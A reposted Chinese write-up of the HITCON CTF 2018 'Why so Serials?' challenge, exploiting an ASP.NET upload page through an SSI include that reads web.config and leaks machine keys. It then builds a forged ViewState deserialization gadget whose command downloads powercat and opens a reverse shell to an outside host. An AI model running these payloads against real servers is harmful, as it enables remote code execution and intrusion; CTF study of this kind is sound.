内容简介:Why so Serials?Shell plz!13.115.118.60
Description
Why so Serials?
Shell plz!
13.115.118.60
Author: orange
1 Team solved.
解题思路
题目给出了源代码
<%@ Page Language="C#" %> <script runat="server"> protected void Button1_Click(object sender, EventArgs e) { if (FileUpload1.HasFile) { try { System.Web.HttpContext context = System.Web.HttpContext.Current; String filename = FileUpload1.FileName; String extension = System.IO.Path.GetExtension(filename).ToLower(); String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"}; if (blacklists.Any(extension.Contains)) { Label1.Text = "What do you do?"; } else { String ip = context.Request.ServerVariables["REMOTE_ADDR"]; String upload_base = Server.MapPath("/") + "files/" + ip + "/"; if (!System.IO.Directory.Exists(upload_base)) { System.IO.Directory.CreateDirectory(upload_base); } filename = Guid.NewGuid() + extension; FileUpload1.SaveAs(upload_base + filename); Label1.Text = String.Format("<a href='files/{0}/{1}'>This is file</a>", ip, filename); } } catch (Exception ex) { Label1.Text = "ERROR: " + ex.Message.ToString(); } } else { Label1.Text = "You have not specified a file."; } } </script> <!DOCTYPE html> <html> <head runat="server"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" type="text/css" href="bootstrap.min.css"> <title>Why so Serials?</title> </head> <body> <div class="container"> <div class="jumbotron" style='background: #f7f7f7'> <h1>Why so Serials?</h1> <p>May the <b><a href='Default.aspx.txt'>source</a></b> be with you!</p> <br /> <form id="form1" runat="server"> <div class="input-group"> <asp:FileUpload ID="FileUpload1" runat="server" class="form-control"/> <span class="input-group-btn"> <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/> </span> </div> <br /> <br /> <br /> <div class="alert alert-primary text-center"> <asp:Label ID="Label1" runat="server"></asp:Label> </div> </form> </div> </div> </body> </html>
首先, 可以尝试上传文件, 发现大部分C#会执行其中代码的文件类型都已经被删除了, 安装个IIS看一下还有什么东西可以利用的,
发现列表中并没有禁用 .stm
, .shtm
和 .shtml
三种文件格式, 于是我们可以通过这个两种文件来进行SSI(Server Side Include), 从而读取web.config
编写代码读取web.config
<!-- test.shtml --> <!--#include file="/web.config" -->
上传, 访问即可读取其中内容, 发现并没有flag
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off"/> <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" /> </system.web> </configuration>
尝试执行命令, 提示 The CMD option is not enabled for #EXEC calls
根据题目名字, why so serials, 怀疑是不是有神奇的asp.net相关的反序列化漏洞, google搜索 asp.net deserialization vulnerability
发现 https://github.com/pwntester/ysoserial.net
在找页面中哪里有可利用的反序列化的点的时候, View Source发现一个奇怪的 __ViewState
参数
通过了解这个ViewState参数( 参考链接 ).
我们知道了 __ViewState
会进行反序列化操作, 参考 ysoserial.net
的反序列化生成的操作, 我们来魔改一下提供给我们的 Default.aspx
, 生成带着payload的ViewState以及签名(记得新建web.config, 把之前读web.config放进去哦~)
魔改后的代码(仅给出了需要魔改的地方, 具体怎么加, 请自行脑补):
<%@ Page Language="C#" %> <%@ Import Namespace="System.Collections.Generic" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Runtime.Serialization" %> <%@ Import Namespace="System.Web.UI" %> <%@ Import Namespace="System.Linq" %>
protected void Button2_Click(object sender, EventArgs e) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add("cmd"); set.Add("/c " + "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c reverse.lvm.me -p 6666 -e cmd"); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); ViewState["test"] = set; }
<asp:Button ID="Button2" runat="server" OnClick="Button2_Click" Text="TEST" class="btn"/>
我们在这里面新增了一个 Button2
以及处理其点击事件的函数 Button2_Click
, 在点击后, 向 ViewState
中添加通过反序列化执行命令的代码.
点击我们新增的按钮, 查看代码, 就可以看到我们新生成的ViewState及签名了!
F12, 把题目中的 __VIEWSTATE
和 __EVENTVALIDATION
都改成我们生成的那个, 之后再随便上传个什么东西
成功弹到shell
flag 在 c盘根目录下
后记
做题的时候遇到的反序列化漏洞有PHP, Python, JAVA写的, 这是第一次在比赛中见到在.Net中利用反序列化这个点的, 还顺便了解了一下ViewState以及其反序列化的工作原理, 还有那个用来生成payload的库.
最后膜一下Orange师傅的题目. 简直太6了...我等菜鸡不敢说话.jpg
参考资料
以上所述就是小编给大家介绍的《HITCON CTF 2018 - Why so Serials? Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Mobilizing Web Sites
Layon, Kristofer / 2011-12 / 266.00元
Everyone has been talking about the mobile web in recent years, and more of us are browsing the web on smartphones and similar devices than ever before. But most of what we are viewing has not yet bee......一起来看看 《Mobilizing Web Sites》 这本书的介绍吧!